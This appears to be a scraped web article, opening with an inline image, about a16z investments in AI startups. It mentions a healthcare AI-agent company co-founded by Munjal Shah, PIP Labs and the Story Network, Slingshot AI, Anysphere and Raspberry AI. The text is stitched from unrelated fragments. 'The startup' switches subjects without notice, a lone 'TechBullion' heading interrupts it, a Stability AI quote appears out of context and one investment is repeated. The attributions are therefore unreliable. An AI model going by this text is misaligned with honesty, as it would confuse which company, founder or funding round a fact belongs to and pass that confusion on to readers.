<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="data:image/jpeg;base64,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" width="302px" alt="a16z generative ai"/></p>
<p><p>The startup was co-founded by Chief Executive Officer and serial entrepreneur Munjal Shah and a group of physicians, hospital administrators, healthcare professionals and AI researchers from organizations including El Camino Health LLC, Johns Hopkins University, Stanford University, Microsoft Corp., Google and Nvidia Corp. PIP Labs, an initial core contributor to the Story Network, is backed by investors including a16z crypto, Endeavor, and Polychain. Co-founded by a serial entrepreneur with a $440M exit and DeepMind’s youngest PM, PIP Labs boasts a veteran founding executive team with expertise in consumer tech, generative AI, and Web3 infrastructure. The startup has also created other AI agents for tasks like pre- and post-surgery wound care, extreme heat wave preparation, home health checks, diabetes screening and education, and many more besides. The startup said its AI Agent creators include Dr. Vanessa Dorismond MD, MA, MAS, a distinguished obstetrician and gynecologist at El Camino Women’s Medical Group and Teal Health, who helped to create an AI agent that’s focused on cervical cancer check-ins and enhancing patient education. According to the startup, the objective of these AI agents is to try and solve the massive shortage of trained nurses, social workers and nutritionists in the healthcare industry, both in the U.S. and globally.</p>
</p>
<p><h2>TechBullion</h2>
</p>
<p><p>The same day, a16z also led a Series A investment in Slingshot AI, which has raised a total of $40 million to create a foundation model for psychology. Those investments highlight the commitment of the group to using AI to address important issues and are also focusing on how AI can improve different industries, including healthcare and consumer services. In general, a16z is committed to supporting AI innovations that could have a profound impact on society. We are thrilled to see our models used in Story’s blockchain technology to ensure proper attribution and reward contributors,” said Scott Trowbridge, Vice President of Stability AI. Others include Kacie Spencer, DNP, RN, the chief nursing officer at Adtalem Global Education Inc., who has more than 20 years of experience in emergency nursing and clinical education. Her AI agent is focused on patient education for the proper installation of child car seats.</p>
</p>
<p><p>It participated in an Anysphere round that had the company raising $105 million on January 14, 2025, when it pushed the valuation up to $2.5 billion. Beyond this, it has also released a $500 million Biotech Ecosystem Venture Fund with Eli Lilly to place a focus on health technologies, but with the aspect of innovative applications. On the same day, they led a Series A investment in Slingshot AI, a company that&#8217;s developing advanced generative AI technology for mental health. Additionally, a16z invested in Raspberry AI to bring generative AI to the front of fashion design and production. In December 2024, they envisioned a future in which AI was used aggressively in nearly all sectors.</p>
</p>
<ul>
<li>The startup said its AI Agent creators include Dr. Vanessa Dorismond MD, MA, MAS, a distinguished obstetrician and gynecologist at El Camino Women’s Medical Group and Teal Health, who helped to create an AI agent that’s focused on cervical cancer check-ins and enhancing patient education.</li>
